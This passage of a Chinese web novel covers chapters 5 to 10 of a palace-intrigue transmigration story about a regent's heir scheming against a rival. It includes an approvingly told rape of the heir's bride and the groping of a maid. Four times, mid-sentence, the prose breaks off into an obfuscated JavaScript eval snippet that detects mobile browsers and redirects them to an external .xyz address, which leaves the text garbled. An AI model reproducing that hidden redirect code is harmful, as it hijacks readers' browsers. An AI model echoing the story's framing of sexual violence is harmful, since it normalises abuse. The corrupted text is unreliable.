若不是看在他有些许 才华,多次为自己出谋划策的份上,慕容嫣今天是绝不会帮顾家解围的。 然而在林臻故意诱导之下,林家非但无罪,还爆出顾家贪污三十万两的惊天秘密。 都是贪官,都是奸臣! 慕容嫣本来花样年华的绝美面容,流露出一丝淡淡的落寞。 “今日之事到此为止,任何人不得再提。”她站起身说道:“朕乏了,林家和顾家的事情,就由你们两位自行去解决吧。” “陛下起驾!” 慕容嫣走了。 顾云霆看了看儿子,又凶狠的看了看一脸憋笑的林臻,最后把目光落在林震仙身上。 “王爷,三天之内,我会再来的。” 顾北辰盯着一脸泪水的刘书瑶,最后什么都没说,跟着父亲的步伐离开。 顾家的铁杆官员也都相继走出王府,至此,林震仙这才算露出一丝笑脸,拍了拍林臻的肩膀说道:“是赐一丈红,还是浸猪笼,都随你吧。” 知道说的是刘书瑶,林臻点点头。 林震仙哈哈大笑出门而去。 在他看来,自己的孙子终于有点出息了。 思路敏捷,说话滴水不漏,深得我的真传! 假以时日,继承王位,不在话下。 “走走走,出去继续喝酒!” “王爷真是海量啊!” “恭喜王爷,世子经过此事,定然成长许多!” “王府后继有人了啊!” 最后留在这里的人是刘翰阳。 他悲痛的看了看闺女,来到林臻面前,噗通一身跪了下去。 “世子.” “爹!你不能跪他!” 刘翰阳使劲把闺女推到一边:“滚,我刘翰阳没有你这样的女儿!从今天开始,你我断绝父女关系!” “爹呜呜呜.” 第6章 不要碰我好吗? 人都走了,林臻索性也就不装了,大大方方坐在凳子上接受刘翰阳的跪拜。 “你这是做什么? 林臻端起茶盏轻抿一口,显得有些漫不经心。 刘翰阳也是老戏骨了,眼泪说来就来,泪珠子啪叽一声就掉在地上,带着几分悲痛与懊悔。 “世子,臣教女无方,竟在您大婚之日出现此等伤风败俗之事。臣心知错误不可原谅,书瑶就交由您处置,但是刘家和这件事情一点关系都没有,请您高抬贵手,放我刘家一马。 林臻心中冷笑。 如果不是知道剧情,还真就被这老东西骗了。 在原书中刘家联合顾家一起辅佐女帝,在林震仙死后第一个冲上来瓜分蛋糕。 甚至林臻被做成人彘的时候,他还去嘲笑,把酒泼在林臻脸上。 其吃里扒外的样子,让人作呕。 “岳父大人。 听林臻这么叫,刘翰阳一喜,以为事情还有转机。 然林臻接下来的话让他的心入赘冰窟。 “我当初扶植你们刘家,就是看在书瑶的面子上。现在书瑶已经爱上了顾北辰,那你们刘家,也就没有存在的必要了。 “世子! 刘翰阳爬过来:“求求您,再给臣一次机会吧!臣一定好好教导女儿,以后唯您的命令是从! 言罢刘翰阳把女儿拉过来。 “逆女!还不赶紧给世子认错! “我 刘书瑶跪在地上,目光带泪地看着这个往日里的纨绔子弟,一时间竟有些不认识他了。 以前的林臻吃喝嫖赌,打架斗殴,无所事事,无恶不作。 遇到自己以后更是每天都像个跟屁虫似的缠着自己,没有一丁点王府世子的样子。 可他今天表现出来的,分明是个韬光养晦,卧薪尝胆的智者。 他很了解自己家族的情况,也知道如何应对。 其机敏的口才与反应,甚至连顾北辰都所不能及。 原来,世人都看错他了。 可是他这么做到底为什么呢? 为什么不把最好的一面直接展现给自己呢? 刘书瑶想不通。 刘翰阳气的,再次一巴掌抽在她脸上。 “啪! “逆女!还不认错! 刘书瑶捂着脸,十分委屈地低下头:“世子,妾身知错了. “没事,知错就改,改了就是好同志! 林臻不小心 说了句口头禅。 其实这句话的真正意义就是:知错就改,改完继续办事,把事情办完以后就不用你了。 虽然不知道什么是好同志,但刘翰阳还是激动拱手说道:“谢世子! “嗯,岳父大人可以退下了,回家等消息吧。 “是。刘翰阳起身对闺女说道:“好好伺候世子,绝不可再出现类似的事情! “是 刘翰阳走了,穿着大红嫁衣的刘书瑶依旧跪在地上。 实话讲,她很漂亮。 细腻的皮肤,精致的面容,身材匀称,打扮得体。 原书里对她的形容太过抽象,什么肤若凝脂,明眸皓齿的。 具象化来说,她很像年轻时候的华妃。 虽然美丽,却充斥着刁钻与刻薄。 此刻美人已经收起泪水,抬起美眸盯着林臻。 “妾身.对不起世子。 “没关系,我并不是很在意。 林臻是真的不在意,如果不是为了日后牵制顾北辰,他现在就把刘书瑶给休了。 这样的女人养在家里纯纯祸害。 “那世子是原谅妾身了吗? “那就看你洞房的表现了。 刘书瑶贝齿咬住下唇。 他知道林臻说的是什么意思,但想想顾北辰,一种屈辱与背叛的感觉顿时涌上心头,让她的心像针扎一样疼。 “世子,妾身有个请求。 林臻没有说话,只是淡淡的看着她。 原书剧情里没有这一段,但是他很了解刘书瑶的性格,大概知道她想说什么。 因为这是个爱顾北辰爱到骨子里的女人。 “世子,虽然我们已经成亲,但妾身早与北辰私定终生。他说他会踏着七彩祥云来娶我。 “父母之命,媒妁之言。我没有办法反抗,但是请你看在我们两家昔日的情份上.不要碰我。 “我想把我最宝贵最圣洁的东西,留给我最爱的人。 林臻说道:“哪怕付出你们全家的性命? 刘书瑶的眼睛猛然瞪着的老大! “世子.啊!! 林臻瞬间抓住刘书瑶的头发,把她拽到自己面前,十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789139|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴狠的说道。 “你就是我对付顾北辰最好用的道具,我怎么可能不碰你呢? 言罢一下将她甩到床榻上。 “啊!! 刘书瑶再次惨叫一声。 不论以前她装得多么圣 洁清高,此刻也如掉入狼窝的小白兔,双腿不自觉地往后蹬踹。 床榻靠窗,月光稀薄,透过稀疏的枝叶,斑驳地洒在她苍白的脸上,更添了几分凄楚与柔弱。 “世子,不要啊!” “乖,闭上眼睛。”林臻爬上床榻:“只不过刚开始疼痛些,之后就慢慢舒爽了。” “不!世子,我求求你” 那晚,枪炮声响了一夜。 刘书瑶也哭了一夜,第二天早上两只眼睛像是被谁打了一拳,红肿得厉害。 林臻没有丝毫的怜香惜玉,招式大开大合,无比凌厉,好似上将铮铮铁骨唯独起床的时候腿有些软。 这具身体早年祸害得太厉害,现在底子很差,才一夜功夫就险些又穿越回去。 一夜未睡的林臻揉了揉太阳穴,喊了声:“来人。” “吱呀。” 丫鬟浣碧端着洗脸水走进来,轻轻地放在架子上。 “世子。” 林臻什么都没穿,就这么大大咧咧地站起来,张开双臂。 浣碧的脸唰一下就红了。 赶紧拿过洗好的锦衣,像打扮贾宝玉似的给林臻穿上好几层,最后在腰带间别上一枚象征着王侯身份的四爪游龙玉佩。 最后,浣碧奇怪的目光看向林臻。 本以为世子会像以前一样对自己动手动脚的,没想到今天竟然转性了。 话说回来也对,就算是十八岁男大学生,折腾一宿估计也没那个心情了。 整理好以后,浣碧说道:“世子,勋国公家的小儿子又来找您了,在前院等着呢。” 芦德豪? 这人林臻很熟悉,算是原身为数不多的真心朋友之一,但他也和林臻一样五毒俱全,是个实打实的纨绔子弟。 夜里捉奸,骂顾北辰最狠的就是他。 “行,我去看看。” 穿好以后,林臻准备出门。 浣碧对床榻上依旧哭哭啼啼的刘书瑶说道:“夫人要起来穿衣吗?” 林臻头也不回地说道:“不必问她。” 第7章 哭一上午了还哭!哭你亲娘舅啊? 浣碧关上了门转身就看到林臻正在月亮门下面等着她。 她走上前去:“世子。” “派些机灵点的丫鬟时刻紧着刘书瑶有什么特殊情况立刻报告。” “是。” “隐蔽一点被发现就不好玩了。” “奴婢明白。” 林臻点点头 他之所以如此信任浣碧是因为在原书中只有她对林臻是真心喜欢的。 林家败亡后林臻被做成了人彘而浣碧也被抓走充入教坊司第二天便自尽而亡。 临死前她用剪刀抵在自己脖颈上对教坊司的奉銮挥泪大喊:“我生是世子的人死是世子的鬼!你们这群腌臜东西休想碰我!” 随即扎入动脉。 这样的女人如果不是因为奴籍林臻都想娶回家当正妻了。 当然做小妾也没问题只是这丫头现在还太小有些下不去手。 京城酒中仙酒楼后院。 这座酒楼占地不大但是后院很宽敞地窖的大盖子被掀起家丁家臣们正忙里忙外地搬箱子。 每个箱子都十分沉重价值不菲是顾家积攒多年的老底。 顾云霆正妻顾韩氏已经哭晕过去两回了好不容易救过来又趴在箱子上面开始哭。 “不要拿走!!” “呜呜呜那可是我带来的嫁妆啊!你们给我放下!” 看见小厮把掉出来的玛瑙项链像垃圾似的塞回箱子里顾韩氏当即就活不成了。 “呜呜呜呜老爷妾身不活了!” 顾云霆眼睁睁看着财产被搬走正在气头上媳妇一哭更是让他心烦:“哭哭哭!哭一上午了还哭!哭你亲娘舅啊?” 顾韩氏用手绢挤了挤眼角:“你个死没良心的!人家搬我家的东西你冲我喊什么?” “堂堂一品诰命躺在地上撒泼成何体统!” 顾云霆说完就要抽妻子两个打耳光结果被管家拦了下来:“老爷!您消消气千万不能气坏了身子啊。” 几名顾家派系的官员也在现场说道。 “是啊顾相钱没了可以再赚人没了就什么都没了。” “你懂什么这些财宝可是顾相攒了一辈子的家业!如今说没就没了!” “是啊想再赚回来得多难啊!” “怕是三五十年之内都不可能了!” “顾相好可怜啊!” 众人你一言我一语说是劝慰 倒不如说是在火上浇油。 顾云霆非但没有心宽,反而更气愤了。 “住口!胜败乃兵家常事,这次是林震仙赢了,不过下次他就没那么好运了!” “散家之仇,老夫一定会报!” “顾相!”大理寺卿谭武慌慌张张地从酒楼里跑过来:“顾相,谷大人已经在宫门外跪了一夜,这都晌午了陛下还没有召见的意思,再这么下去他的身体撑不住啊!” 几名官员焦急地说道。 “坏了,陛下这是要拿谷大人开刀啊!” “那怎么办,总不能让他回来吧?” 顾云霆闻言攥紧拳头,“林震仙!这可是我顾家倾尽所有力量才扶植起来的重臣,更是我顾家的钱袋子!结果就因为你儿子几句话,让他备受屈辱!” 谭武说道:“顾相,难道陛下真的要趁机换人?” “呵,他可没那么傻。” 顾云霆冷笑:“林震仙掌握着六卫和四大铁血营,几乎整个大乾的兵马都是他一个人说了算。只要他还活着一天,陛下就必须要依靠老夫!而谷中满是老夫的人,陛下就算再生气也不会把他怎么样的。” 谭武说道:“那陛下这是什么意思?” “什么意思?呵,他这是在敲打老夫,等这些财宝都送过去,他就会召见谷中满了。” 说到这顾云霆感慨一声:“唉,小小年龄就学会算计了,不愧是皇家血脉啊。” 管家凑过来说道:“老爷,老奴认为我们当务之急是找出内鬼,否则真真是夜不能寐,寝食难安啊。” “唔,林臻竟然知道我顾家藏宝之地,可见透漏消息给他的绝非普通人,应该是我家族核心人物。你有怀疑的人吗?” “没有。”管家摇摇头,随即面露凶狠之色:“但是酒楼里的人跟这件事情肯定脱不了干系,不如就全部换掉。” “嗯,也好,做得干净点。” 成大事者向来是不拘小节的,几十条人命而已,在顾云霆看来和割几十根韭菜没什么区别。 “是。老爷,奴才还有件事不知当讲不当讲。” 对顾云霆来讲已经没有什么事情是比现在更坏的了。 “有什么不能讲的,说吧。” “是,老爷,少爷从昨天回来后就一直很消沉,现在还在房间里不吃不喝。” “没出息,为了刘家那样一个骚妇至于么?消沉点也好,冷静冷静,别一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789140|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天地骄傲自满,要把重心放在陛下身上,我顾家才能更进一步!” “老爷!老爷!” 一名小厮焦急地跑过来,半路上还摔了一跤,摔完不敢停顿,立刻爬起来又开始跑。 顾云霆不喜地道。 “这慌慌张张的成何体统?” “老爷,少爷被人打了!” “什么?” 管家也懵了:“胡说八道,少爷不是在房间里吗?” “是啊,少爷本来是在房间里的,可刚才少爷突然说要出去走走,前后也就半个时辰的功夫,回来时脸上有很多淤青!” “快去看看!” 顾北辰怎么被打了呢? 这事儿还得从半个时辰前说起。 林臻来到前院会客厅,看到芦德豪正吊儿郎当地坐在椅子上。 他不喜欢喝茶,只喜欢蜜水,所以整个人看起来黑黢黢的很胖,加上他个子又不高,窝在椅子上活脱兔的像只大眼贼。 见林臻进来,他很是欢喜。 “大哥!” “嗯,今天来这么早?” “嗐,这不是说要去祸害燕来楼老板娘嘛,没有大哥你坐镇,我们兄弟几个心里不踏实!” 林臻从大管家林安手里接过早茶,漫不经心地喝上一口对芦德豪说道:“这么喜欢人家老板娘,直接抢回家不就得了?” “大哥又开玩笑了。把那种人尽可夫的女人抢回家,老爷子还不打死我?” “你知道人尽可夫就好,所以以后离她远点,别年纪轻轻得了杨梅大疮,不好治啊。” 原书中,芦德豪作为勋国公的小儿子是不可能继承父亲爵位的,生活也没什么奔头,每天最快乐的时间就是和林臻在一起琢磨女人。 林臻被做成人彘以后,他在黄河边住了三个月,给林臻喂水喂饭,当着林臻的面和女人行苟且之事。 林臻死后,他就彻底消沉下去,每天在女人堆里较劲,没几个月就得了杨梅大疮,死得很惨。 一听说这种恶心病,芦德豪吓得直打摆子:“呸呸呸,大哥你就不能盼着我点好啊?” “再这么下去你根本就好不了!”林臻没好气地说道:“以后这种活动都取消,我不去,你也不许去!” “啊?” 林臻还想解释什么,浣碧从屏风后面走出来,趴在他耳边说道:“世子,夫人换了身便衣,奔后门去了。” 第8章 没有布料阻碍的肌肤之亲 林臻抬眼看了看天色好奇地问:“今天初几啊?” 浣碧躬身回答:“回世子初七。” 难怪。 原书中顾北辰与刘书瑶是在诗会上相遇的。 在那之后两人偷偷约定每月初七都要在新丰茶楼里与众多才子佳人探讨诗词歌赋。 刘书瑶乃大儒刘翰阳之女自幼便被书香浸润冠以才女身份。 顾北辰所言的任何典故、历史她都能说上几句并发表自己的见解。 在女子无才便是德的大乾她无异于众多女子中的异类也正是因为这点才让顾北辰对她欲罢不能。 而今天正好是初七两人会在茶楼里小叙诉情。 也就是在这里顾北辰遇到了对他一生影响最为深远的人. 一个女刺客。 她准备刺杀京城富商赵大宝结果失手躲进顾家开设的赌场里被顾北辰所救。 从此两人恩恩怨怨情意绵绵一发不可收拾。 林臻顺友一抹奸计涌上心头阴狠的笑道:“呵顾北辰你敢拿我做人彘我就要夺走你全部气运!” 林臻觉得自己就像个童话故事里的反派专门棒打鸳鸯折磨主角。 他暗暗一笑对芦德豪说道:“德豪 “大哥你说。” “你去找胖子让他带二十名亲卫立刻赶往远大赌场就说今天随便玩我请客。” “卧槽真的假的?”芦德豪险些从椅子上蹦起来。 敢在赌场里请客的放眼整个四九城也就林臻这一位爷。 可是你有钱吗? 你林臻有魄力是不假但你别忘了你可是所有纨绔中最穷的啊! “当然是真的了现在就去!” “好吧那我现在就去。” 芦德豪跳下凳子就走。 浣碧见状焦急地说道:“世子您去赌场玩夫人那边怎么办?” “别急让子弹飞一会儿。” 浣碧刚要问什么是子弹突然感觉有一张大手探入裙底捏住了自己的膝盖后面。 没有布料阻碍的肌肤之亲让浣碧愣在原地不知如何是好。 那大手微微用力顺着曲线上上下下缓缓挪动摩擦着大腿内侧。 林臻邪笑道:“碧儿话说你穿这淡绿色的裙子还挺好看的。” “哎呀!” “世子!!” 浣碧突然尖叫一声捂着脸跑向 后堂而林臻则是盯着她的背影爽朗大笑。 “哈哈哈哈哈。” 浣碧跑到屏风后面靠在粗壮的金丝楠木柱子边蹲下身摸了摸自己滚烫的脸颊。 还以为这个淫魔转了性早上穿衣服的时候都没挑逗自己哪成想在会客厅就又动手动脚的呢? 弄得人心里痒痒像蚂蚁爬似的。 “要不就来点正经的总这么挑逗算什么回事嘛!” “世子真的是太讨厌了啦!” 刘书瑶换了身洁白的素衣带着斗笠像家里死了老公似的。 与从娘家带来的贴身丫鬟小翠一起来到后门。 在出门的刹那 她暗暗下定决心今天就是阎王爷来了也不能阻挡自己去见顾郎。 也只有顾郎那样的英俊豪杰才配让我做通房丫头林臻那个傻子根本就不配! 等你林家灭门了我就狠狠上去踩两脚为小姐的屈辱报仇! 小翠打开后门。 看门的小厮叫三蹦子听到门响他回头望去:“呦!两位姐姐这是干什么去?怎么还带着斗笠啊?” 小翠从荷包里拿出一块银饼子扔给看门的小厮:“小公子我们要出去转转还请您帮忙保守秘密。” 言罢还特意给他露出一个甜甜的笑脸。 在古代能看门的小厮那可都是机灵鬼没有傻子。 不像后世那些上了岁数的机关单位保安。 当然林臻也没有别的意思只要想表达三蹦子其实是个很聪明的人。 看了看手里的银饼子三蹦子心说还是在府里面当差好啊连丫鬟都如此大手笔自己看一辈子门也赚不到这么多钱。 更何况还有这么漂亮的姑娘叫自己公子当即兴奋地答应。 “姑娘放心!我保证守口如瓶!” “嗯。” “嘿嘿嘿嘿。” 三蹦子自认为笑得很好看但是小翠却咧了咧嘴直犯恶心。 真是虎落平阳被犬欺。 连这样上不得台面的看门狗也敢觊觎自己。 等北辰把我救出去非戳瞎你的双眼不可! 两人出门而去三蹦子这才收回笑脸换上一副审视的表情。 买家用货品的小厮路过正好与他打个照面:“诶?三蹦子刚刚那是不是夫人的贴身丫鬟小翠啊?” “嘘知道就行了别吱声。”三蹦子晃了晃手里的 银饼子说道:“晚上喝两口?” “好啊!” 新丰茶楼离得不远,两女走上一会儿也就到了。 进门先付了茶钱,无视掉唾沫横飞的说书人,直奔二楼。 二楼之上,阳光如细丝般透过窗棂,温柔地洒落在一位男子身上。 他身姿挺拔而略显消瘦,周身环绕着一种难以言喻的气质,带着三分洒脱,三分不羁,三分自信与一分的悲痛,妥妥的霸道总裁范儿。 缓缓抬起头,目光穿越了时间与空间的缝隙,与正缓缓揭开斗笠的刘书瑶相遇。 那一刻,时间仿佛凝固,两人的目光在空中交织,尽在不言中。 “书瑶!” “顾郎.” 顾北辰想要冲过来拥抱住她,却被刘书瑶躲开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789141|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只见刘书瑶紧张地攥住自己衣领,脸色悲痛,梨花带雨。 顾北辰当即想到什么,还没开口,就听到刘书瑶说道:“顾郎.我.我已经是残花败柳,不值得你如此对我。” 顾北辰闻言,怒火中烧,青筋暴起,咬牙切齿道:“林臻那个畜生!他竟敢如此糟践你!我誓要让他付出代价!” “我是他明媒正娶的妻子,我又有什么办法呢顾郎”刘书瑶抬起那双勾魂夺魄的双眸,哀怨地看着顾北辰,“别等我了,今天,就是我们最后一次见面吧。” “不!” 刘书瑶越是这么说,顾北辰就越是难过、心急。 常言道:妻不如妾,妾不如妓,妓不如偷,偷不如偷不着。 顾北辰现在就处于想偷却偷不着的阶段,又心痒又心疼。 他抓住刘书瑶的双肩:“书瑶,你爱的人是我,我不允许你爱上别人!” “我没有爱上那个人渣!但是,我浑身上下每一个地方都被他亲吻过.只要我想起他的坏笑,他的粗鲁,他的野蛮,我就越觉得对不起你。” “顾郎,我已经配不上你了” “不!你配得上!”顾北辰都快被刘书瑶的话折磨疯了,当街就开始大吼大叫,“在我心里,你永远是那么的纯洁,那么的干净!” 顾北辰拉起刘书瑶的双手,放在自己心尖上:“跟我走吧,陛下宠着我,不会让林家把我们怎么样的!” “顾郎.” 看热闹的文人骚客们都瞪大眼睛。 毕竟这个时代男女当众拉手手还是很劲爆的,然而就在这个时候,包厢里突然传来一声暴喝! “赵大宝!你受死吧!” 一阵噼里啪啦的打斗声传来。 顾北辰把刘书瑶护在身后,很快,包厢被一名女子撞开。 “砰!” “抓住她!别让她跑了!” “敢行刺我家老爷,找死!” 海棠朵朵貌似受了内伤,跌跌撞撞地起身,一下从阳台上跳了下去。 “姑娘!”顾北辰喊了一声,趴在窗户上看,发现海棠朵朵已经稳稳落地,朝巷子里跑去。 “他奶奶的,身手还挺好,追!” 六名彪形大汉闯下楼,顾北辰也拉起刘书瑶的手说道:“书瑶,我们去看看。” “嗯。” 刘书瑶也没想太多。 但是她被林臻折腾了一夜,双腿疼痛非常,根本走不快,人都跑没影了两人才来到门口。 顾北辰恨恨地跺脚:“该死!没追上。” “顾郎,对不起.都怪我” “没事,我们还是上楼去探讨一下诗词吧。” 顾北辰当然不知道这次的擦肩而过会对他造成多么大的影响,他现在满脑子都是怎么能把刘书瑶搞到手。 第9章 女人家的小脚确实鲜嫩 林臻在巷子里等得百无聊赖。 按照原著剧情海棠朵朵跳下酒楼就来到梅菜巷然后被从后门出来的顾北辰救走。 顾北辰把她带到自己家赌场也是在这里两人命运的齿轮开始转动。 海棠一代美女侠客从此成为他的贴身保镖。传他武艺随他出征作战。 也借由海棠顾北辰结实了大乾第一刺客组织天道。 机缘巧合之下天道之主青霞仙子也成为了他的后宫帮他打听消息暗杀政敌从此牛逼的一发不可收拾。 这是真正的主角气运只要能得到那就是一飞冲天! 可是自己等了半天为什么还不来呢? 这时 “踏踏踏踏。”小马靴撞击着石头地的声音很好听。 林臻躲在胡同拐角偷偷观瞧。 果然是海棠。 她来了! 顾北辰的气运是我的了! 海棠跑步的姿态忽高忽低明显是受了内伤。 等她来到近前林臻突然伸手把她拉到自己身边! “什么人?找死!” 海棠几乎是条件反射的抽刀。 “嘘!”林臻做出一个噤声的手势尽量友好地问道:“你就是刺杀赵大宝的侠女吧?” 海棠冷面寒霜警惕性极高:“你是谁?” “我是林臻来救你的。” “林臻?” 海棠觉得这个名字好熟悉却又一时间想不起在哪听过。 就在她犹豫的时候巷子口传来几声粗犷的喊叫。 “人呢?” “这边!追!” “踏踏踏踏。” 眼看着自己被林臻拽入死胡同另一边数名彪形壮汉又疾驰而来海棠急得头皮发麻。 林臻掏出一件青衫:“别犹豫了赶紧换上男装我带你去个安全的地方。” 她已经受了内伤根本不是几个壮汉的对手情急之下只能乖乖听话将青衫套在身上。 林臻的手也很快迅速帮她的长发拢到一起又将一把折扇插在她脖子后面。 “这能行吗?” “当然行!别紧张就算有什么突发情况我也能将你保下。” 说完林臻拉起海棠的手腕。 这个动作让后者好感大增两人装作风流才子的模样走进巷子里。 与此同时壮汉们也跑到近前。 突兀的巷子里凭空冒出 两个人来,傻子都知道有问题。 索性直接停下将他们包围住。 海棠袖子里的匕首偷偷滑落到手掌中,想着如果开打,就先弄死一个再说。 林臻握着她的手紧了紧,眯起眼睛,向前一步说道:“为何挡路?” “你他妈唔.”一名壮汉刚要说话,就被同伴死命拉了回去。 开玩笑,借他三个胆子他也不敢对头戴金冠,腰别游龙玉佩的人大呼小叫啊。 那不是疯了吗? 壮汉对林臻抱拳行礼道:“我们在抓一个刺客,惊扰了贵人,还请贵人恕罪。” “滚。” “是” 壮汉还想问问,但看林臻一脸的生人勿近还是憋了回去,带着人直奔胡同。 其实林臻完全可以依靠自己王府世子的身份将海棠平安带出去,没必要又是穿衣又是伪装的,太麻烦。 可如果那样做就会惹祸上身,被政敌诟病。 因为海棠是刺客,是杀手。 是大乾所有官员、富商都痛恨的天道组织的一员。 他们无视律法,滥用私刑,践踏上位者们建立好的秩序。 林臻身为摄政王府世子,如果公然包庇,别说女帝和朝中大臣了,就连底层商人、百姓都不会原谅他。 林家想要万世荣华,就必须站在百姓的一边,为最底层的人谋取利益。 只要百姓拥戴你,女帝就算嫉妒到死也拿你没办法。 所以,为了日后安全,还是小心为妙。 两人走出巷子,直奔远大赌场。 这家赌场不是京城里规模最大,最奢华的,但确实每天流水最高的。 原书里说,远大赌场每天都有二十万两以上的流水,是顾家最大的摇钱树,更是很多大佬洗钱的好地方。 当然,林臻最在乎的其实是这赌场里的一个人。 让小厮送海棠回王府,林臻自己来到远大赌场。 还没进门,就看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789142|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到芦德豪和胖子站在街对面闲聊,旁边二十名亲卫像恶霸似的占领了茶摊,一人一碗茶,吓得店老板都不敢出来见人。 芦德豪对胖子的审美表示不满:“要我说还是燕来楼的老鸨子更有风韵,那小脚~啧啧啧,简直是人间极品啊!” 胖子说道:“你要说她脚好看胖爷不反驳,但你堂堂国公之子总去给妓女舔脚丫子怕是不妥吧?你也不嫌臭?” “你懂个屁,只要长得好看就不臭!而且人家的小脚确实鲜嫩,听说是天天泡在栀子花里泡出来 的,嘬上一口,咸滋滋的,甚是美味!” “你爹知道还不打死你!” “嗐。”芦德豪无所谓地摆摆手:“我爹一门心思都在我大哥身上,才没功夫管我呢。再说了,勾栏听曲自古以来就是风流雅事,有什么好生气的。” 林臻听着两人的对话都恨不得找个地缝钻进去。 一个是国公之子,一个是上将军家的独苗,当街污言秽语,男女苟且。 实在太跌份了。 如果不是为了装纨绔,林臻都想跟他们俩绝交了。 “行了行了,你俩除了女人就不能聊点有营养的?” 两人异口同声地喊道:“大哥!” 林臻点点头。 “嗯,派十个人堵住前门后门,其余人跟我进去,随便玩!” 芦德豪兴奋地直蹦跶。 他零花钱太少,又没有自己的产业,所以赌场他是很少去的。 这次林臻买单,暂且不管真假,先好好过过瘾再说。 众人往里面走,林臻对胖子说道:“胖子,等会儿进去了看我眼色行事!” “明白!” 以前林臻只要说:看我眼色行事。 那就是去闹事,打架! 而作为林臻的首席狗腿子,胖子已经开始摩拳擦掌,准备大显身手了。 他才不管是谁的场子呢,只要林臻一声令下,就算是天王老子也照踢不误。 见一队穿着铠甲的亲卫护送三个年轻人过来,门口招揽生意的美女都快笑开花了,连连摆弄手绢。 “哎呦喂~世子,胖爷,芦小官爷,您快里面请啊!” 第10章 我想玩你,不开玩笑 胖子狂笑着从怀里掏出一个银饼子顺手塞进女子的胸口。 “小娘们算你有眼力!” “谢谢胖爷!奴家这就带您去最好的台!” 美女抱着银子扭着蜂腰转身递给门口小厮一个眼神后者会意离开跑开。 林臻没成为选调生之前跟家人去过一次葡京当时还很小不懂事只对花花绿绿的老虎机感兴趣感受不到什么叫金碧辉煌。 如今来到这里才算是开了眼界。 赌场内部的空间之大超乎想象高耸的柱子镶嵌着金边与宝石在各色灯笼的映照下熠熠生辉。地面上铺设着昂贵的波斯红毯每一步踏上去都如同行走在云端。 一张张雕花的赌桌边围满了人赌徒们红着眼睛乱喊穿着清凉的美女端着酒壶茶壶在场中来回穿梭赢了钱的男人兴奋地抓起一把碎银塞进她们胸口随即大力揉搓一下继续开赌。 更有甚者直接扔过去两个银饼子带姑娘直奔三楼包间。 整个赌场就像是一个巨大的、永不停歇的梦幻机器是有钱人的天堂。 同时也是普通人的地狱。 有的人输光了家产难过的跪在地上哭泣狠狠抽自己大嘴巴;有的人跟赌场借了钱结果还不上催债人把他的家人、老婆孩子都抓来严刑拷打各种折磨。 惨叫声混杂着赌徒们的兴奋声在一楼大堂里回响端着是震撼心灵。 芦德豪见到这些惨状有些不忍对林臻说道:“大哥要不我们去劝劝吧都是小老百姓都不容易啊。” 林臻还没说话胖子说道:“不容易个屁!小百姓不想着怎么让家人过上好日子成天跟色子较劲打死都活该!” 林臻淡淡点头对那些凄惨的人没有半点同情。 这是他们自作自受。 “哎呦原来是世子大驾光临!奴家有失远迎还请恕罪呀 未见其人先闻其声。 林臻回头望去就见一身穿绛紫色纱裙的美妇人款款而来。 之所以叫妇人不是因为她嫁了人而是她整个人的气质宛若成熟的蜜桃一颦一笑勾人心魄。 这就是远大赌场的掌柜张俪。 她是顾家最厉害的情报组织首脑有着超乎寻常的嗅觉与机敏。 在原书中她帮助顾北辰收集了大乾几乎所有官员的情报资料让顾北辰十分疼爱。 但是现在的张俪在顾家眼中只是个稍微能赚钱的掌柜而已还没展现出自 己在情报方面的能力。 而顾北辰也只是对她的容貌感兴趣却又不愿意放低身份去追求一个风尘女子。 直到后来两人才没羞没臊地搞在一起。 张俪的能力、相貌身材都是一流让顾北辰疼爱得不行。 也是她最爱的后宫之一。 林臻今天的目标就是要抢走张俪断了顾北辰的气运。 他走上前笑道:“原来是掌柜的亲临这让我怎么好意思呢?” “咯咯咯咯世子见外了呢以前看到奴家不都是言语调戏的吗?” “额” 见林臻语塞张俪更是笑得开心:“咯咯咯世子今天带这么多人来是来玩的还是做什么的呀?” 张俪的嗅觉很敏锐。 昨天王府婚宴的事情已经传得沸沸扬扬她担心林臻今天过来是砸场子的。 “当然是玩啊只不过我不想玩色子。” 